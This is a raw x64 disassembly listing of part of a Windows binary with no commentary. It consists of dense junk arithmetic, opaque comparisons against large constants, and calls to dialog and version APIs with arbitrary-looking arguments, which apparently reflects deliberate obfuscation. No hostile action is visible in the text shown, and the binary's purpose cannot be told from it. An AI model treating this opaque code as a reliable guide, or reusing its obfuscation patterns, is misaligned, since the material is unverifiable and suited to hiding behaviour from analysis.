mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
jmp 0x140006776
cmp dword [rsp + 0x2b08], 0x8ff7
jbe 0x140006cb4
movzx eax, word [rsp + 0xb84]
shl eax, 0xa
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sar eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
xor eax, ecx
mov word [rsp + 0xb80], ax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2ae0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b14]
sub eax, 0x67ebba40
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b08]
sub eax, 0xc7
mov dword [rsp + 0x2b08], eax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b14]
and eax, 0x209ba43
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov word [rsp + 0xb88], ax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
add eax, 0x70
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
movabs rax, 0xbc087fb552d12d72
mov rcx, qword [rsp + 0x4cd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cf0]
sar rax, cl
mov qword [rsp + 0x4cd8], rax
jmp 0x140006b09
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
movsx ecx, word [rsp + 0xb88]
mov dword [rsp + 0x2b18], ecx
movsx edx, word [0x14016f150]
movzx ecx, dl
mov edx, dword [rsp + 0x2b18]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140154166
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4db0], rax
movabs rax, 0xb2920c1d9f358f57
cmp qword [rsp + 0x4db0], rax
je 0x140006d2f
movabs rax, 0xfd5fc96ddcc6e557
cmp qword [rsp + 0x4db0], rax
je 0x140006d8c
jmp 0x140006e68
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x2b1c], al
cmp byte [rsp + 0x2b1c], 0x1e
je 0x140006d4a
jmp 0x140006d6a
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
jmp 0x140006d87
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa14], ax
jmp 0x140006e68
movabs rax, 0xeb92f6b16ea7cdfa
cmp qword [rsp + 0x4cd0], rax
jne 0x140006e0f
lea rcx, [rsp + 0x21410]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4d70]
mov r9, qword [rax]
movzx r8d, word [rsp + 0xb84]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
movzx ecx, word [rsp + 0xb84]
call fcn.140154e90
nop
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
add eax, 0x625db019
mov dword [rsp + 0x2b14], eax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2ad8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
lea r9, [rsp + 0x20fb0]
mov r8d, 0xfa
mov edx, 0x5d
mov rcx, qword [rsp + 0x4db8]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x2b24], eax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x14016e004]
shl eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
or eax, 0x614
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2afc]
sub eax, 0x11
mov dword [rsp + 0x2afc], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
add eax, 0x2ae6d62a
mov dword [rsp + 0x2b14], eax
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
cmp dword [rsp + 0x2afc], 0x21d3
ja 0x140006e68
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov dword [0x14016e008], eax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xa34], ax
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x4dc0], rax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x11d], al
cmp dword [rsp + 0x2aec], 0xe66b
jb 0x1400074f7
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
shl eax, cl
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
mov eax, dword [rsp + 0x2ae0]
mov rcx, qword [rsp + 0x4d40]
mov qword [rsp + 0x4dc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14016e008], eax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b14]
and eax, 0x6aee1f86
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4d70]
mov qword [rsp + 0x4dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dd0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [0x14016f150]
or eax, ecx
mov word [rsp + 0xa14], ax
mov eax, dword [rsp + 0x2b14]
shl eax, 4
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa14]
movsx ecx, word [0x14016f150]
sub eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movabs rax, 0x101a69115a8c15f2
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [0x14016e008]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [0x14016f150]
xor eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ad8]
mov rcx, qword [rsp + 0x4d40]
mov qword [rsp + 0x4dd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ae0], eax
mov eax, dword [rsp + 0x2b14]
or eax, 0x66146b33
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11d], al
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
add eax, ecx
mov word [rsp + 0xb84], ax
mov eax, dword [rsp + 0x2aec]
sub eax, 4
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [0x14016f150]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
jmp 0x14000701e
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x11b]
movsx edx, byte [0x14016e004]
sub ecx, edx
cmp eax, ecx
jne 0x140153ff8
cmp dword [rsp + 0x2a8c], 0x70a0
jbe 0x1400078a1
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
sub eax, 0x1183fa3d
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14016e008], eax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x14016e004]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a8c]
sub eax, 0x7c
mov dword [rsp + 0x2a8c], eax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
xor eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
shl eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2af4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad8]
add ecx, eax
mov eax, ecx
mov dword [0x14016e008], eax
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b14]
mov rcx, qword [rsp + 0x4da0]
mov qword [rsp + 0x4de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4de8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa14], ax
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
jmp 0x140007538
cmp dword [rsp + 0x2a9c], 0x1e2f
jbe 0x140007abe
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b14]
and eax, 0x212045f5
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
xor eax, ecx
mov word [rsp + 0xb84], ax
mov eax, dword [rsp + 0x2a9c]
sub eax, 0x3a
mov dword [rsp + 0x2a9c], eax
mov eax, dword [rsp + 0x2b14]
shl eax, 0xb
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2af4]
mov rcx, qword [rsp + 0x4d40]
mov qword [rsp + 0x4df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
add eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov word [rsp + 0xa14], ax
jmp 0x1400078a1
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4df8], rax
movabs rax, 0xeb657e3076fb05e6
cmp qword [rsp + 0x4df8], rax
je 0x140007ae7
jmp 0x140007c36
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x11b]
and ecx, edx
cmp eax, ecx
jg 0x140007bc7
movsx eax, word [rsp + 0xb88]
movsx ecx, word [0x14016f150]
sar eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb80]
mov dword [rsp + 0x2b28], eax
cmp dword [rsp + 0x2b28], 0x371b
je 0x140007bb1
cmp dword [rsp + 0x2b28], 0x68d1
je 0x140007b7d
jmp 0x140007bc5
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4da0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2b14]
mov edx, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b14]
call fcn.140154460
nop
jmp 0x140007bc5
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
shl eax, 0xf
mov dword [rsp + 0x2b14], eax
jmp 0x140007c31
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x2ad8]
mov edx, dword [rsp + 0x2af4]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140007c31
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
jmp 0x140007ccc
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov dword [rsp + 0x2b2c], eax
cmp dword [rsp + 0x2b2c], 0
je 0x140007c9b
cmp dword [rsp + 0x2b2c], 0x4ad9
je 0x140007c61
jmp 0x140007cb6
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4da0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2b14]
call fcn.140154460
nop
jmp 0x140007cb6
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x4e00], rax
mov dword [rsp + 0x2b30], 0x47f4
mov dword [rsp + 0x2b34], 0xe832
mov dword [rsp + 0x2b38], 0x6011
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xa34]
imul eax, ecx
movzx ecx, word [rsp + 0xb8c]
cmp eax, ecx
jne 0x140007d28
lea rcx, [rsp + 0x216f0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x2b24], eax
mov r9d, 0xbc
mov r8d, 0x21
mov edx, 0x3e
mov rcx, qword [rsp + 0x4cf8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x4e08], rax
jmp 0x140007d74
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb80]
add ecx, edx
cmp eax, ecx
jge 0x140007d74
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14016e004], al
lea rax, [rsp + 0xa34]
mov qword [rsp + 0x4e10], rax
mov dword [rsp + 0x2b3c], 0x86d0
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x2ae0]
mov edx, dword [rsp + 0x2af4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140007e26
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b14]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4da0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2b14]
mov edx, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b14]
call fcn.140154460
nop
movzx eax, byte [rsp + 0x11b]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov dword [rsp + 0x2b44], eax
cmp dword [rsp + 0x2b44], 0
je 0x140007f4c
cmp dword [rsp + 0x2b44], 0x52457265
je 0x140007e77
jmp 0x140153f61
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x2b48], al
cmp byte [rsp + 0x2b48], 0x2b
je 0x140007e95
jmp 0x140007ed6
mov r8d, 1
mov rdx, qword [rsp + 0x4e18]
mov rcx, qword [rsp + 0x4d78]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x2b4c], eax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14016f150], ax
jmp 0x140007f47
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov qword [rsp + 0x4e20], rax
movabs rax, 0x38bbf444eeb8b7b2
cmp qword [rsp + 0x4e20], rax
je 0x140007f13
movabs rax, 0x6a9f42283533cfb0
cmp qword [rsp + 0x4e20], rax
